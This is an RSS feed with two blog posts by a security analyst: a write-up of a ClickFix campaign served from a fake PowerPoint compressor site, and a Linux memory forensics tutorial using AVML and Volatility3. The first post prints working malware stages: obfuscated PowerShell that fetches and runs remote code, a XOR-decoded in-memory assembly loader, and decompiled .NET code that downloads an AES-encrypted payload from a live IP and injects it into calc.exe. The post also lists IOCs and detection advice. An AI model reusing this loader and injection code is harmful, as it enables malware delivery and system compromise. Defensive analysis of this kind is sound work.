<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muhammad Bimatara I on Medium]]></title>
        <description><![CDATA[Stories by Muhammad Bimatara I on Medium]]></description>
        <link>https://medium.com/@withbimatara?source=rss-2e1740e3c341------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*W5J886D-q6mUwmv-</url>
            <title>Stories by Muhammad Bimatara I on Medium</title>
            <link>https://medium.com/@withbimatara?source=rss-2e1740e3c341------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 18:14:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@withbimatara/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From “PPT Compressor” to Injected Payload: Analyzing a ClickFix Attack]]></title>
            <link>https://medium.com/@withbimatara/from-ppt-compressor-to-injected-payload-analyzing-a-clickfix-attack-3d2092ec81e6?source=rss-2e1740e3c341------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d2092ec81e6</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[clickfix]]></category>
            <category><![CDATA[security-analysts]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Muhammad Bimatara I]]></dc:creator>
            <pubDate>Thu, 08 Oct 2026 05:59:25 GMT</pubDate>
            <atom:updated>2026-10-08T06:30:49.317Z</atom:updated>
            <content:encoded><![CDATA[<p>Lately, I have been hearing a concern that online tools like PDF converters or PDF compressors is not safe, they may be able to access or read the files we upload but what is the real threat even before doing that?</p><p>This week, me and my friend found an interesting website (hxxps[://]powerpointcompressor[.]org/) that seems legit in front of it but contains a suspicious threat inside it, a Click Fix Attack. In this blog, we want to analyze and reconstruct this website and find out how does the attack flow when the victim falls into the attacker’s trick. For note, <strong>this is not from a Reverse Engineer Expert perspective, but this analysis is from a Security Analyst perspective with basic reverse engineer knowledge</strong>.</p><h4>First Entry Point</h4><p>The first entry point looks so legit until it loads and shows us a Cloudflare “look a like” page like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PMDGTf86_njQa_9fVLHlww.png" /><figcaption>First Legitimate Looks</figcaption></figure><p>This page contains a legitimate looking website that used to be a PPT Compressor, a tool to compress the victim’s presentation. But after we stayed on it, a suspicious Cloudflare page popped up like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jn2CPda1TlfxTEi4X3o40Q.png" /><figcaption>Suspicious Cloudflare Page</figcaption></figure><p>If we click the “Verify Human” button, it appears the instruction for the victim to run and the payload execute. For note, Win + R is a shortcut key to open “Windows Run Dialog Box”, this box can execute payloads in the victim’s machine. Everything that run through this box will be logged on the registry key called “RunMRU” key (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU). Instead of pushing Win + R key, we push win + V key to open clipboard and found out the attackers first entry point payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*i8aokRgzsJXUQyQFeogYXg.png" /><figcaption>Clipboard Contents</figcaption></figure><p>After opening in the text editor, we know that, the first entry payload is an obfuscated powershell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgnHU79D4pk0GS1X6PHGNg.png" /><figcaption>Obfuscated Powershell Script</figcaption></figure><p>On all of these obfuscated command, let get to know deeper.</p><pre>powershell.exe -windO mIniMIz $OSmOMR=&#39;Name&#39;;</pre><p>This block code is used to open PowerShell in a minimized window.</p><pre>$lAL=59;<br>$dKYA = Get-Command -m &#39;M*.*er*.*t*y&#39; -C &#39;Cm&#39;;<br>$dKYA=$dKYA.$OSmOMR;<br>$nYzc=.$dKYA[60] getstampi.com;<br>.$dKYA[$lAL]($nYzc);</pre><p>This block code do discover the powershell using Get-Command on wildcard statement, this wildcard statement should match with “Microsoft.PowerShell.Utility” since the powershell support wildcard statement. After discovering that command it called the command on index 59 and 60.</p><pre>$OSmOMR = &#39;Name&#39;<br>$lAL = 59<br>$dKYA = Get-Command -m &#39;M*.*er*.*t*y&#39; -C &#39;Cmdlet&#39;<br>$dKYA = $dKYA.$OSmOMR<br>echo &#39;$dKYA[59] -&gt;&#39; $dKYA[59]<br>echo &#39;$dKYA[60] -&gt;&#39; $dKYA[60]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/175/1*nSJHfr_6rQiSew59JtICPg.png" /><figcaption>Script Result</figcaption></figure><p>So if we want to the get the script without executing it, we can do the Invoke-RestMethod on the malicious domain and got the another obfuscated script.</p><pre>Invoke-RestMethod getstampi.com</pre><pre>function Invoke-olmjttltx {<br>    $vfnosjv = &quot;Q1WcDQkLCAkCBwQF/fwAAaYfHB0aGxgOTwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDgAEeHxICoBUYugbBLLIKRMQnU2xscSNwc3F4bnx3O3tvYWJifitqbCZ1cWsiam4hWlBPPXd0fGshAQAALwgJBgcEBQJTRQEeUx0eGlN1y2UMDQoLCAkGB+QFAAILABUfHA0aGxgGDwwNCgsIZykHBAUiAwABXh8cHRpbGA4vDA0KCQgJAgcEBQIDAAEaHxwdGhsYDg+MDQoLCgkGBwQFAgAAQZsfHA0aGwgODwwNGgsIGQYHBAUCAxABHh8cHRobGA4PDBUlCwhaBgcEBUIDANkaHxwdGhsYDg8MDQoLCAkGBwQFAmMAARIfHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYLg8MBQoLCAkGBwQFAgMACT4fHFUaGxgODwwNCgsICShzYX12AwABahAcHRo7GA4PHA0KCwoJBgcEBQIDAAE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GBwQFAgMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDQoLCAkGBwQFAgMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDSoLCAUGBwR1PQMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDQoLCAkGBwQFAgMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDQoLCAkGBwQFAgMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDQoLCAkGBwQFAgMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDQoLCAkGBwQFAgMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDQoLCAkGBwQFAgMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDQoLCAkGBwQFAgMAAR4fHB0aGxgODwwNCgsICQYHBAUCAwABHh8cHRobGA4PDA0KCwgJBgcEBQIDAAEeHxwdGhsYDg8MDQoLCAkGBwQFAgMAAR4fHB0aGxgODwwNCgsICQY=&quot;<br>    $gqwfr = 14<br>    $munjue = 23<br>    $evrtd = [Type]::GetType(&quot;System.Con&quot;+&quot;vert&quot;)<br>    $alzmmk = $evrtd.GetMethod(&quot;FromBa&quot;+&quot;se64String&quot;).Invoke($null, @($vfnosjv))<br>    [Byte[]]$wjyswxct = New-Object Byte[] $alzmmk.Length<br>    for($pwwu=0; $pwwu -lt $alzmmk.Length; $pwwu++) {<br>        $wjyswxct[$pwwu] = $alzmmk[$pwwu] -bxor $gqwfr -bxor ($pwwu % $munjue)<br>    }<br>    $mnywib = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.FullName -match &quot;mscorlib&quot; }<br>    $mnywib = $mnywib.GetType(&quot;System.Refle&quot;+&quot;ction.Assem&quot;+&quot;bly&quot;)<br><br>    $loaded = $mnywib.InvokeMember(&quot;Lo&quot;+&quot;ad&quot;, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, @(,$wjyswxct))<br>    if ($loaded.EntryPoint) {<br><br>                $params = $loaded.EntryPoint.GetParameters()<br>                if ($params.Count -eq 0) {<br>                        $loaded.EntryPoint.Invoke($null, @())<br>                } else {<br>                        $loaded.EntryPoint.Invoke($null, @(,[string[]]@()))<br>                }<br>    } else {<br>        $type = $loaded.GetTypes() | Where-Object { $_.IsPublic } | Select-Object -First 1<br>        $method = $type.GetMethods() | Where-Object { $_.IsStatic } | Select-Object -First 1<br>        $method.Invoke($null, $null)<br>    }<br>}<br>Invoke-olmjttltx</pre><h4>Second Script Payload Analysis</h4><p>On that second script payload, after analyzing it, we can see that it has the dropper that has been ecrypted and encoded to base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*I_Cns0C7hCRzkn5oq7lVeg.png" /><figcaption>Encryptor and Encoded Main Logic</figcaption></figure><p>We can make simple python script to decrpyt that third payload.</p><pre>base64enc = &quot;base64enc-string&quot;<br>key = 14 <br>mod = 23<br><br>import base64<br><br>base64decoded = base64.b64decode(base64enc)<br><br>bytearray = bytearray(base64decoded)<br>for i in range(len(bytearray)):<br>    bytearray[i] = bytearray[i] ^ key ^ (i % mod)<br>    <br>binfile = open(&quot;SecondScriptDecryptor.bin&quot;, &quot;wb&quot;)<br>binfile.write(bytearray)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*rf0XN6PiY8jXpV9YaCxT1w.png" /><figcaption>The Third Payload binary</figcaption></figure><p>But for note, this .NET binary not dropped on the victim system but generally loaded on and execute on the same previous powershell session so there is no file creation event when this binary loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OSM8kEY8rQWxYExEsPqSfQ.png" /><figcaption>Powershell Load the .NET binary</figcaption></figure><h4>Third Binary Payload Analysis</h4><p>After we getting that .NET binary, we can try to decompiled that using <a href="https://github.com/dnSpy/dnSpy">dnSpy</a> to see whats behind that.</p><pre>private static void Main()<br> {<br>  string address = &quot;http://86.107.168.146/wev.enc&quot;;<br>  try<br>  {<br>   using (WebClient webClient = new WebClient())<br>   {<br>    byte[] array = webClient.DownloadData(address);<br>    byte[] array2 = new byte[16];<br>    byte[] array3 = new byte[array.Length - 16];<br>    Buffer.BlockCopy(array, 0, array2, 0, 16);<br>    Buffer.BlockCopy(array, 16, array3, 0, array3.Length);<br>    byte[] key = Convert.FromBase64String(Loader.base64Key);<br>    byte[] array4 = Loader.DecryptAes(array3, key, array2);<br>    Loader.STARTUPINFO structure = default(Loader.STARTUPINFO);<br>    structure.cb = (uint)Marshal.SizeOf&lt;Loader.STARTUPINFO&gt;(structure);<br>    structure.dwFlags = 1U;<br>    structure.wShowWindow = 0;<br>    Loader.PROCESS_INFORMATION process_INFORMATION = default(Loader.PROCESS_INFORMATION);<br>    string lpApplicationName = &quot;C:\\Windows\\System32\\calc.exe&quot;;<br>    if (Loader.CreateProcess(lpApplicationName, null, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, null, ref structure, out process_INFORMATION))<br>    {<br>     IntPtr intPtr = Loader.VirtualAllocEx(process_INFORMATION.hProcess, IntPtr.Zero, (uint)array4.Length, 12288U, 64U);<br>     if (!(intPtr == IntPtr.Zero))<br>     {<br>      int num = 0;<br>      Loader.WriteProcessMemory(process_INFORMATION.hProcess, intPtr, array4, (uint)array4.Length, out num);<br>      IntPtr value = Loader.CreateRemoteThread(process_INFORMATION.hProcess, IntPtr.Zero, 0U, intPtr, IntPtr.Zero, 0U, IntPtr.Zero);<br>      if (value == IntPtr.Zero)<br>      {<br>      }<br>     }<br>    }<br>   }<br>  }<br>  catch<br>  {<br>  }<br> }<br><br>private static string base64Key = &quot;4dhoVGFUq6REy4poVKrWx2HumArDt+ZdkV2kYW9nUxg=&quot;;</pre><p>As we can see on that decompiled version of that, That binary download an encrpyted payload -&gt; get the first 16 bytes as the IV -&gt; get the remaining bytes as the main payload -&gt; decoding the base64 as the key -&gt; and do decryption. We can make simple python code to replicate that or setting up breakpoint on the decompiler both will have the same result.</p><pre>import requests<br>import base64<br>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import unpad<br><br>address = &quot;http://86.107.168.146/wev.enc&quot;<br><br>base64Key = &quot;4dhoVGFUq6REy4poVKrWx2HumArDt+ZdkV2kYW9nUxg=&quot;<br><br>response = requests.get(address)<br>array = response.content<br>array2 = array[:16]<br>array3 = array[16:]<br>key = base64.b64decode(base64Key)<br>cipher = AES.new(key, AES.MODE_CBC, iv=array2)<br>array4 = unpad(cipher.decrypt(array3), AES.block_size)<br><br>with open(&quot;ThirdDecrypted.bin&quot;, &quot;wb&quot;) as f:<br>    f.write(array4)</pre><p>After running that, we can get the data, but in this case, we assume that this last payload is a shellcode, we dont familiar with this. So instead of getting away that last payload, we throw that into AI and tell them to analyze that. After analyzing it we got that the shellcode is from <a href="https://github.com/TheWover/donut">donut in-memory execution</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zHukZLw8qLa7kZBWJh5BaA.png" /><figcaption>AI Analysis</figcaption></figure><p>After we open that on the decompiler, we found nothing interesting so we jump into dynamic analysis using app.any.run sandbox and we do also submit it into VirusTotal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azoNSRiwp1lLUpRqFlLKQw.png" /><figcaption>AnyRun</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wmd0CqJH5a_6vneiWeWyVQ.png" /><figcaption>Anyrun Detail</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cj7CcN9fvtrSg6qFDH9Mbg.png" /><figcaption>Virus Total</figcaption></figure><p>You can find those two analysis on these link:</p><ul><li><a href="https://any.run/report/ab0ad94ad592bac09129341cfe4c42af507384a38dd909239cb131a8efcc17ed/a901ee87-3806-481f-aed0-4db3d8644de9">https://any.run/report/ab0ad94ad592bac09129341cfe4c42af507384a38dd909239cb131a8efcc17ed/a901ee87-3806-481f-aed0-4db3d8644de9</a></li><li><a href="https://www.virustotal.com/gui/file/ab0ad94ad592bac09129341cfe4c42af507384a38dd909239cb131a8efcc17ed/relations">https://www.virustotal.com/gui/file/ab0ad94ad592bac09129341cfe4c42af507384a38dd909239cb131a8efcc17ed/relations</a></li></ul><p>It says that on the last payload it do some info-stealer and contacting through c2 connection (hxxps[://]kl[.]333vip[.]org/). Besides that, it also requesting into some telegram api (hxxps[://]telegram[.]me/bj00tyr).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Ejqy8l4RQ5NLeAgWrl0Kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*vCoEYqLPeDG8vk-1R2FP9w.png" /></figure><h4>Analysis Key Notes</h4><ul><li>We have a conclusion that, this campaign is actually smart. The popped up cloudflare page will not be triggered if we open that in VMware instance nor in Anyrun Instance. So we assume that they put some VM Checker on their logic side.</li><li>We notice that all of the entry point logic stored on wasm code and heavily obfuscated javascript and we dont analyse further on those things.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*lXiTH0z6Vv7o8Dfod0aVXA.png" /></figure><ul><li>We also notice that, there is a mechanism that if in one network already visits that domain many times, the popped up cloudflare also will not popped up again.</li><li>We also have an assumption (but not really sure), about the check button on the Cloudflare page. Besides the victim must run Win + R -&gt; Ctrl + V -&gt; Enter, we notice that if the victim click the “Check” button, the copied payload will also be run.</li></ul><h4>IOC’s List</h4><ol><li>Network IOC’s<br>- hxxps[://]powerpointcompressor[.]org/ <br>- getstampi[.]com <br>- 86[.]107[.]168[.]146 <br>- hxxp://86[.]107[.]168[.]146/wev.enc<br>- hxxps[://]telegram[.]me/bj00tyr<br>- hxxps[://]kl[.]333vip[.]org/<br>- bytemai[.]com (found at obfuscated js)<br>- hxxps[://]clawagentic[.]org/facebook[.]svg (found at obfuscated js)<br>- hxxps[://]lu-mora[.]com/facebook[.]svg(found at obfuscated js)<br>- hxxps[://]mayerplumbing[.]com/facebook[.]svg(found at obfuscated js)<br>- hxxps[://]project-helix[.]com/facebook[.]svg(found at obfuscated js)</li><li>File Hashes<br>- First Stage Powershell Payload (44dd66e0de26cf58ae40be82d4c0041636603e3707d98b200c58a24ef75c0308)<br>- Second .NET Binary payload (<a href="https://www.virustotal.com/gui/file/d02f4122926921d7842b4bf556e863eb87d98f873d7967607d63d0b974092adc?nocache=1">d02f4122926921d7842b4bf556e863eb87d98f873d7967607d63d0b974092adc</a>)<br>- Decrypted Donut Payload (<a href="https://www.virustotal.com/gui/file/a0a1d13b549d7aa48d32e304e84c93d12632ca9e2b0fd7fda04edb3deab3fd05?nocache=1">a0a1d13b549d7aa48d32e304e84c93d12632ca9e2b0fd7fda04edb3deab3fd05</a>)<br>- Embedded PE file from donut payload (<a href="https://www.virustotal.com/gui/file/ab0ad94ad592bac09129341cfe4c42af507384a38dd909239cb131a8efcc17ed">ab0ad94ad592bac09129341cfe4c42af507384a38dd909239cb131a8efcc17ed</a>)</li><li>Artifact Indicators<br>- AES Key: 4dhoVGFUq6REy4poVKrWx2HumArDt+ZdkV2kYW9nUxg=</li><li>Powershell Parameter:<br>- -WindowStyle Minimized<br>- Invoke-RestMethod<br>- Invoke-Expression<br>- System.Reflection.Assembly.Load</li><li>Suspicious Windows API:<br>- VirtualAllocEx<br>- WriteProcessMemory<br>- VirtualProtectEx<br>- CreateRemoteThread</li></ol><h4>Potential Entry Point</h4><ul><li>In this case, the Threat Actor use Social Engineering to people who needs a free tool like this ppt compressor.</li><li>The payloads execution will be executed when the user to press Win+R, paste a command, and press Enter.</li></ul><h4>Remediation</h4><p>If the users accidently clicked enter button and the payloads already executed, do this remediation</p><ul><li>Isolate the device’s from network.</li><li>Terminate all the related process such as Microsoft Edgem PowerShell, .NET, and injected calc.exe processes.</li></ul><h4>Recomendation &amp; Detection</h4><ul><li>Enable PowerShell Script Block Logging, Module Logging, and process creation auditing.</li><li>Monitor the Registry Key (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU). Alert on new or modified entries containing powershell.exe, cmd.exe, mshta, rundll32, regsvr32, wscript, cscript, URLs, IEX, or encoded commands.</li><li>Monitor all the IOC’s List and put it on the blocklist</li><li>Spread security awareness regarding clickfix social engineering attack</li></ul><h4>Conclusion</h4><p>Last but not least, be caution with everything on the internet, remain skeptic, and never trust anything on it. Thank you for reading this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d2092ec81e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Linux Memory Forensics: Acquire and Analyze with AVML & Volatility3 2.7]]></title>
            <link>https://medium.com/@withbimatara/mastering-linux-memory-forensics-acquire-and-analyze-with-avml-volatility3-2-7-d9bae3fb8227?source=rss-2e1740e3c341------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9bae3fb8227</guid>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[memory-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Muhammad Bimatara I]]></dc:creator>
            <pubDate>Sun, 23 Feb 2025 04:24:46 GMT</pubDate>
            <atom:updated>2025-02-23T04:24:46.652Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Linux Memory Forensics: Acquire and Analyze with AVML &amp; Volatility 3 2.17.0</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/0*pMdI5WqlPmL7A_pq" /><figcaption>volatility3</figcaption></figure><p>If we can see into the worlds of cybersecurity and digital forensics, memory analysis has become an important skill for uncovering hidden threats, tracing attacks, and recovering vital data on the memory. Unlike Windows systems, where memory acquisition is widely documented and standardized, Linux memory analysis presents unique challenges due to its diverse distributions and configurations. But how do you effectively capture and analyze memory on a Linux system? This guide provides practical, step-by-step instructions to help you develop the skills needed to perform memory forensics in Linux environments effectively, focusing on two Awesome Tools including <strong>AVML (Acquire Volatile Memory for Linux)</strong> for memory acquisition and <strong>Volatility 3 </strong>for analyzing the memory, a robust framework for in-depth memory analysis.</p><p>Here’s what we’ll cover:</p><ol><li><strong>Acquiring Memory with AVML</strong>: Learn how to capture the contents of a system’s memory safely and efficiently.</li><li><strong>Analyzing Memory with Volatility 3</strong>: Dive into memory dump analysis to extract critical insights and identify anomalies.</li></ol><p>By the end of this guide, you’ll have a solid understanding of Linux memory forensics and the skills to apply it effectively in real-world scenarios. Let’s get started!</p><h3><strong>What is AVML and Volatility3?</strong></h3><p>AVML is an X86_64 userland volatile memory acquisition tool written in <a href="https://www.rust-lang.org/">Rust</a>, intended to be deployed as a static binary. AVML can be used to acquire memory without knowing the target OS distribution or kernel a priori. No on-target compilation or fingerprinting is needed.</p><p>Volatility is the world’s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples. The extraction techniques are performed completely independent of the system being investigated but offer visibility into the runtime state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples and provide a platform for further work into this exciting area of research.</p><blockquote>*all of these explanation based on the official github page <a href="https://github.com/microsoft/avml"><em>AVML</em></a><em> </em>and<em> </em><a href="https://github.com/volatilityfoundation/volatility3"><em>Volatility3</em></a></blockquote><h3>Linux Instance Preparation</h3><p>In this case, i will use a linux instance for make this scenario works well. For The instance I use is a Digital Ocean virtual machine, which I will set up as a Instance that we will analyze, with the following specifications:</p><ul><li>Ram: (1 vCPU, 2 GB memory)</li><li>OS: Ubuntu 22.04.4 LTS</li><li>Disk: 50 GB</li></ul><h3>Working on With AVML</h3><p>AVML is a very easy tool to use, first step is to download the binary directly from the AVML’s official github page <a href="https://github.com/microsoft/avml">https://github.com/microsoft/avml</a> or we can directly download using this command.</p><pre>wget https://github.com/microsoft/avml/releases/download/v0.14.0/avml</pre><p>After successfully downloading the AVML binary, don’t forget to change the execution permissions for the file. In this case, I will also add read and write permissions.</p><pre>chmod 777 avml</pre><p>After changing the permissions and making the binary executable, we can finally begin the acquiring process from the instance to obtain the memory dumps. To do this, we can execute the command below.</p><pre>./avml &lt;output-file-name&gt; ## example -&gt;./avml memory.dump [if you want to save it as memory.dump]</pre><p>As easy as that, with that command, you can capture your current memory and save it for later analysis.</p><h3>Working on With Volatility3 2.17.0</h3><h4><strong>Creating Custom Linux Profile Symbol</strong></h4><p>Based on the official Volatility documentation <a href="https://volatility3.readthedocs.io/en/latest/getting-started-linux-tutorial.html">website</a>, if we want to analyze a Linux memory dump with Volatility, we need to create a custom Linux profile symbol. However, on this page, we won’t create it manually; instead, we’ll use a symbol provided by the community. We can obtain the symbol from this awesome repository.</p><p><a href="https://github.com/Abyss-W4tcher/volatility3-symbols">GitHub - Abyss-W4tcher/volatility3-symbols: Collection of Linux and macOS Volatility3 Intermediate Symbol Files (ISF), suitable for memory analysis 🔍</a></p><p>To identify the kernel version we need to select from that repository, we can search for it in the memory using Volatility. First, we will perform some basic installation of Volatility.</p><pre>git clone https://github.com/volatilityfoundation/volatility3.git &amp;&amp; cd volatility3</pre><p>After install it, we can use banners.Banners plugin to identify which kernel version.</p><pre>python3 vol.py -f &lt;path-to-memory-dump&gt; banners.Banners</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*rKIsyGZVucCsk_VDJaBC5A.png" /><figcaption>banners.Banners plugin result</figcaption></figure><p>As we can see, for my memory dump, it used Linux version 5.15.0–130-generic , from here we can look up that custom profile based on that linux profile on <a href="https://github.com/Abyss-W4tcher/volatility3-symbols">this</a> repository, just follow the directory of that repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zF79GcxGggZGgGrvWinWQ.png" /><figcaption>Custom symbol for Linux version 5.15.0–130-generic</figcaption></figure><p>After found the correct symbol, download that file and place it under [volatility3-directory]/volatility3/symbol/linux/ , if there is not linux directory under the symbol directory, you have to make it first.</p><pre>cd [volatility3-directory]/volatility3/symbol/<br>mkdir linux &amp;&amp; cd linux<br>wget https://github.com/Abyss-W4tcher/volatility3-symbols/raw/refs/heads/master/Ubuntu/amd64/5.15.0/130/generic/Ubuntu_5.15.0-130-generic_5.15.0-130.140_amd64.json.xz<br>## For the wget link, use the link for your matching custom symbol. In this case, I am using the one that matches mine. </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*pMHOrAICsE2XNRye5hEC6g.png" /><figcaption><em>*should be in this directory</em></figcaption></figure><p>After that, we can use volatility 3 as usual. If you still encounter errors when using Volatility Linux Plugin, it indicates that the custom profile has not been installed correctly.</p><h4>Analyzing Memory Dump using Volatility3</h4><p>In this article, we will try out several plugins that will be useful for analysis and check whether the custom profile has been installed correctly. At the end of the session, we will examine what actions the user has performed on the instance. Before trying to run the useful plugins, here is the list of plugins that Volatility provides for Linux:</p><ul><li>linux.bash.Bash</li><li>linux.boottime.Boottime</li><li>linux.capabilities.Capabilities</li><li>linux.check_afinfo.Check_afinfo</li><li>linux.check_creds.Check_creds</li><li>linux.check_idt.Check_idt</li><li>linux.check_modules.Check_modules</li><li>linux.check_syscall.Check_syscall</li><li>linux.ebpf.EBPF</li><li>linux.elfs.Elfs</li><li>linux.envars.Envars</li><li>linux.graphics.fbdev.Fbdev</li><li>linux.hidden_modules.Hidden_modules</li><li>linux.iomem.IOMem</li><li>linux.keyboard_notifiers.Keyboard_notifiers</li><li>linux.kmsg.Kmsg</li><li>linux.kthreads.Kthreads</li><li>linux.library_list.LibraryList</li><li>linux.lsmod.Lsmod</li><li>linux.lsof.Lsof</li><li>linux.malfind.Malfind</li><li>linux.modxview.Modxview</li><li>linux.mountinfo.MountInfo</li><li>linux.netfilter.Netfilter</li><li>linux.pagecache.Files</li><li>linux.pagecache.InodePages</li><li>linux.pidhashtable.PIDHashTable</li><li>linux.proc.Maps</li><li>linux.psaux.PsAux</li><li>linux.pslist.PsList</li><li>linux.psscan.PsScan</li><li>linux.pstree.PsTree</li><li>linux.ptrace.Ptrace</li><li>linux.sockstat.Sockstat</li><li>linux.tty_check.tty_check</li><li>linux.vmaregexscan.VmaRegExScan</li></ul><p>Here is the list of plugins we will use:</p><ul><li><strong>linux.bash</strong><br>The output result generated by this plugin will be the bash history of the instance when the memory was successfully captured.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*7hdDW3jSvwkAysODdn_b2g.png" /><figcaption>linux.bash result</figcaption></figure><p>As seen above in the linux.bashplugin results, we can gather information about the commands executed by the user in the captured instances. From this result, we obtained the PID, process, command time, and command that executed by the user.</p><ul><li><strong>linux.pstree<br></strong>The output result generated by this plugin will be a tree listing of processes based on their parent process ID [PID] of the instance when the memory was successfully captured.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*X2ud1toNlaOfh6l5wOYJzA.png" /><figcaption>linux.pstree result</figcaption></figure><p>As seen above in the linux.pstree plugin results, we can gather information about processes based on their process ID (PID), Thread ID (TID), and Parent Process ID (PPID) along with a hierarchical view of the system&#39;s processes and we also got the process name.</p><ul><li><strong>linux.psaux<br></strong>The output result generated by this plugin is similar to linux.pstree plugin, but what makes it different is that this plugin also lists processes along with their command line arguments.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbNwpbVRG-QuEOWXBetSKg.png" /><figcaption>linux.psaux result</figcaption></figure><p>From this plugin’s results, we can obtain a similar output to the linux.pstree plugin. However, what differentiates it is that we can also get information about the commands run in each process.</p><p><strong>linux.envars<br></strong>The output generated by this plugin will list processes with their environment variables from the instance when the memory was successfully captured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzCUqe2tv8uk2vlHSiiHag.png" /></figure><p>As seen above in the linux.envars plugin results, we can gather information about Environment Variable based on the existing process when the memory captured, the information consist of process ID (PID), Parent Process ID (PPID), Key, and Value.</p><h4>User Action</h4><p>In the memory dump of the Linux instance, we found evidence of package installations for monitoring tools such as Prometheus and Grafana. This suggests that the instance was set up to monitor both itself and other connected servers.</p><h3>Conclusion</h3><p>Memory forensics is a critical skill in the field of cybersecurity and digital forensics, offering invaluable insights into system states, user activities, and potential threats. By leveraging powerful tools like <strong>AVML</strong> for memory acquisition and <strong>Volatility3</strong> for memory analysis, we can effectively analyze Linux systems despite their inherent complexities and diversity.</p><p>This guide demonstrates how to:</p><ul><li>Use <strong>AVML</strong> to capture a system’s memory efficiently without requiring prior knowledge of the OS or kernel version.</li><li>Analyze the captured memory using <strong>Volatility3</strong>, utilizing community-provided custom profiles and various plugins.</li></ul><p>Key plugins like linux.bash, linux.pstree, linux.psaux, and linux.envars help uncover valuable information, such as command histories, process hierarchies, command-line arguments, and environment variables. These insights provide a comprehensive understanding of the system’s state at the time of memory capture.</p><p>By following the step-by-step instructions in this guide, you can build the foundational skills needed for Linux memory forensics, enabling you to investigate incidents, trace attacks, and uncover hidden threats effectively.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9bae3fb8227" width="1" 